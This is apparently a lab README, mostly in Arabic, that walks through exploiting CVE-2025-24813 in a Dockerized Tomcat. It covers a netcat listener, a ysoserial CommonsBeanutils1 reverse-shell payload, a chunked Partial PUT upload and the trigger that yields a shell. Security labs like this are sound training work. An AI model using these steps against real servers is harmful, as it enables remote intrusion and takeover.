CVE-2025-24813

tags: [tomcat, cve-2025-24813, java, rce, reverse-shell, lab] title: 🧪 CVE-2025-24813 Tomcat RCE Lab (Docker + ysoserial)

🧪 مختبر CVE-2025-24813 Tomcat RCE (Docker + ysoserial)

يعرض هذا المختبر تنفيذ الأوامر عن بُعد عبر إلغاء التسلسل غير الآمن في Java داخل تطبيق مستضاف على Tomcat يعالج ملفات الجلسات المتسلسلة. تعمل البيئة بأكملها داخل Docker مع حمولة Reverse Shell مصممة خصيصًا تُرسَل عبر طلب Partial PUT.

📁 هيكل الدليل

.
├── 0-run-tomcat.sh        # Build + run vulnerable Tomcat container
├── 1-generate-revshell.sh # Start Netcat reverse shell listener
├── 2-generate-payload.sh  # Generate ysoserial reverse shell payload
├── 3-upload-file.sh       # Upload serialized payload via Partial PUT
├── 4-exploit.sh           # Trigger deserialization endpoint
├── readme.md              # This file
├── source.sh              # Sets CALLBACK_IP, LISTENER_PORT, etc
├── dummy-app/
│   ├── src/
│   │   └── main/java/com/example/DeserializeServlet.java
│   ├── pom.xml
│   └── Dockerfile

⚙️ المتطلبات الأساسية

ثبّت Java و Netcat:

brew install openjdk netcat

تأكد من استخدام JDK 11+ والسماح بالوصول غير الآمن للوحدات عبر --add-opens.

🧨 خطوات الاستغلال

1. 🛠 بناء وتشغيل Tomcat القابل للاستغلال
2. 🐚 تشغيل مستمع Reverse Shell
3. 💣 توليد حمولة ysoserial (CommonsBeanutils1)
4. 📤 رفع الحمولة باستخدام HTTP Partial PUT
5. 🎯 تفعيل إلغاء التسلسل والاستيلاء على الصدفة

🧪 الاستخدام

1. بناء وتشغيل Tomcat القابل للاستغلال

bash 0-run-tomcat.sh

2. تعيين متغيرات البيئة

أنشئ ملف source.sh على هذا النحو:

export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100

ثم قم بتضمينه (source):

source source.sh

3. تشغيل مستمع Reverse Shell

في طرفية منفصلة:

bash 1-generate-revshell.sh

وهذا يشغّل:

nc -lnvp 4444

4. توليد الحمولة

bash 2-generate-payload.sh

سيقوم هذا بـ:

• تنزيل ysoserial.jar إذا لزم الأمر
• توليد حمولة CommonsBeanutils1 مع Reverse Shell
• حفظها باسم rev_shell.ser

5. رفع الحمولة

bash 3-upload-file.sh

ينفّذ هذا السكربت رفعًا عبر HTTP Partial PUT على دفعات باستخدام ترويسات Content-Range.

6. تفعيل الاستغلال

bash 4-exploit.sh

يستهدف هذا:

http://localhost:8080/xxx-api/profile

والذي يلغي تسلسل الملف المرفوع وينفّذ الحمولة.

✅ ستحصل على Reverse Shell في طرفية Netcat!

🔍 تصحيح الأخطاء

داخل الحاوية:

docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l

تحقق من وجود الملف /tmp/beanutils-worked إذا كنت تختبر بحمولة آمنة.

💡 ملاحظات

• تتطلب الحمولات --add-opens لتجاوز قيود الوحدات في Java 11+
• قد يفشل Reverse Shell بصمت إذا لم يتوفر /bin/bash (جرّب /bin/sh)
• يمكنك اختبار تنفيذ الأكواد بأمان باستخدام: touch /tmp/rce-worked

🧱 مبني على

• frohoff/ysoserial
• Apache Tomcat 9.x
• سلاسل استغلال إلغاء التسلسل في Java (CommonsBeanutils1)